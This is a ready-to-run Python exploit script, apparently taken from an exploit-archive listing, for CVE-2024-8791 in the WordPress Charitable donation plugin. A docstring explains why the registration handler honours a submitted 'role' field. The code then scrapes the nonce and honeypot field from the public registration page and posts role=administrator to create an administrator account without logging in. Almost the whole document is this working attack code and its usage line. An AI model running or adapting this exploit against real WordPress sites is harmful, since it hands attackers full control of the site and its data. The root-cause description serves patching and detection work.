## https://sploitus.com/exploit?id=PACKETSTORM:226420
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Charitable <= 1.7.0.12 - Unauthenticated Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/charitable/
# Software Link: https://downloads.wordpress.org/plugin/charitable.1.7.0.12.zip
# Version: 1.7.0.12 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-8791
"""CVE-2024-8791 โ Charitable <= 1.7.0.12 โ Unauthenticated Privilege Escalation to Administrator
Blackbox HTTP exploit against a real WordPress + Charitable install with a page containing the
[charitable_registration] shortcode (the documented way to expose front-end registration).
Root cause: the registration handler `Charitable_Registration_Form::save_registration()` builds
its data via `get_submitted_values()`, which starts from the RAW `$_POST`
(abstract-class-charitable-form.php:409 `$submitted = $_POST;`). That array flows into
`Charitable_User::update_core_user()`, which keeps every key that is in `get_core_keys()`
(charitable-user-functions.php includes 'role') and passes it to `wp_insert_user()`:
$core_fields = array_intersect( array_keys($submitted), $this->get_core_keys() ); // 'role' kept
foreach ($core_fields as $field) $values[$field] = $submitted[$field];
$user_id = wp_insert_user($values); // role=administrator honored
So POSTing `role=administrator` to the registration form creates an administrator account.
Gate: a nonce + honeypot, both harvested from the public registration page (so unauth in practice).
(Fixed in 1.7.0.13, which strips the 'role' field before wp_insert_user.)
Usage:
python3 CVE-2024-8791_charitable.py --target http://localhost:8090 --reg-path /register/ \
--user pwnadmin --pass 'Passw0rd!123' --email pwnadmin@evil.com
"""
import argparse, re, sys
import requests
requests.packages.urllib3.disable_warnings()
def field(html, name):
m = re.search(r'name="' + re.escape(name) + r'"\s+value="([^"]*)"', html)
return m.group(1) if m else ""
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--reg-path", default="/register/", help="path of the page with [charitable_registration]")
ap.add_argument("--user", default="pwnadmin")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--email", default="pwnadmin@evil.com")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
url = base + args.reg_path
print(f"[*] Target: {url}")
html = s.get(url, timeout=20).text
nonce = field(html, "_charitable_user_registration_nonce")
action = field(html, "charitable_action") or "save_registration"
form_id = field(html, "charitable_form_id")
referer = field(html, "_wp_http_referer") or args.reg_path
if not nonce:
print("[-] Could not harvest the registration nonce โ is [charitable_registration] on this page?")
return 1
# honeypot: the charitable form renders a text input with a random hex NAME (hidden via CSS),
# which bots fill and must be left EMPTY. Its name != the known field names.
known = {"charitable_form_id", "_charitable_user_registration_nonce", "_wp_http_referer",
"charitable_action", "user_email", "user_login", "user_pass", "register"}
honeys = [n for n in re.findall(r'name="([0-9a-f]{8,})"', html) if n not in known]
print(f"[*] Harvested nonce={nonce} action={action} form_id={form_id} honeypot={honeys[:1]}")
data = {
"_charitable_user_registration_nonce": nonce,
"_wp_http_referer": referer,
"charitable_action": action,
"charitable_form_id": form_id,
"user_email": args.email,
"user_login": args.user,
"user_pass": args.pw,
"role": "administrator", # <-- privilege-escalation injection
"register": "Register",
}
for h in honeys[:1]:
data[h] = "" # honeypot must be empty
print(f"[*] Submitting registration with role=administrator (user={args.user})")
r = s.post(url, data=data, timeout=20, allow_redirects=False)
print(f"[*] Response: HTTP {r.status_code}")
print(f"\n[+] Registration submitted. Verify with:")
print(f" wp user get {args.user} --field=roles # expect: administrator")
print(f"[+] Then log in at {base}/wp-login.php as {args.user} / {args.pw}")
return 0
if __name__ == "__main__":
sys.exit(main())